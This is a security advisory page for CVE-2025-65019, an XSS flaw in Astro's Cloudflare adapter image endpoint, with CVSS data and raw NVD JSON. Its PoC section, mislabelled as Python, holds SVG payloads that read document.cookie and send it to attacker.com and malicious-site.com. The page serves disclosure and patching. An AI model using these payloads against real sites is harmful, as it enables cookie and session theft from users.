Security Vulnerability Report
中文
CVE-2025-65019 CVSS 5.4 MEDIUM

CVE-2025-65019

Published: 2025-11-19 17:15:53
Last Modified: 2025-11-25 15:09:57

Description

Astro is a web framework. Prior to version 5.15.9, when using Astro's Cloudflare adapter (@astrojs/cloudflare) with output: 'server', the image optimization endpoint (/_image) contains a critical vulnerability in the isRemoteAllowed() function that unconditionally allows data: protocol URLs. This enables Cross-Site Scripting (XSS) attacks through malicious SVG payloads, bypassing domain restrictions and Content Security Policy protections. This issue has been patched in version 5.15.9.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:astro:astro:*:*:*:*:*:node.js:*:* - VULNERABLE
Astro < 5.15.9
@astrojs/cloudflare (所有版本,当使用output: 'server'模式时受影响)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2025-65019: Astro XSS via data: protocol in Cloudflare adapter --> <!-- Attack scenario: Inject malicious SVG via _/_image endpoint --> <!-- Method 1: Direct data: URL injection --> <img src="/_image?href=data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3C/svg%3E&w=100&h=100" /> <!-- Method 2: Bypass CSP using data: protocol --> <!-- When CSP allows img-src 'self' but not 'unsafe-inline' --> <img src="/_image?href=data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20onload='fetch(%22https://attacker.com/steal?c=%22%2Bdocument.cookie)'/%3E" /> <!-- Method 3: Cookie stealing payload --> <!-- Exploit SVG with external script execution --> <svg xmlns="http://www.w3.org/2000/svg"> <script type="text/javascript"> var cookies = document.cookie; var img = new Image(); img.src = "https://malicious-site.com/log?data=" + encodeURIComponent(cookies); </script> </svg> <!-- Encoded version for URL parameter --> <!-- data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ+dHlwZT0idGV4dC9qYXZhc2NyaXB0Ij5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ+PC9zdmc+ -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65019", "sourceIdentifier": "[email protected]", "published": "2025-11-19T17:15:53.063", "lastModified": "2025-11-25T15:09:57.477", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Astro is a web framework. Prior to version 5.15.9, when using Astro's Cloudflare adapter (@astrojs/cloudflare) with output: 'server', the image optimization endpoint (/_image) contains a critical vulnerability in the isRemoteAllowed() function that unconditionally allows data: protocol URLs. This enables Cross-Site Scripting (XSS) attacks through malicious SVG payloads, bypassing domain restrictions and Content Security Policy protections. This issue has been patched in version 5.15.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:astro:astro:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "5.15.9", "matchCriteriaId": "30331D9E-36BD-4BF6-88C3-A8BE37A3E6C8"}]}]}], "references": [{"url": "https://github.com/withastro/astro/commit/9e9c528191b6f5e06db9daf6ad26b8f68016e533", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/withastro/astro/security/advisories/GHSA-fvmw-cj7j-j39q", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}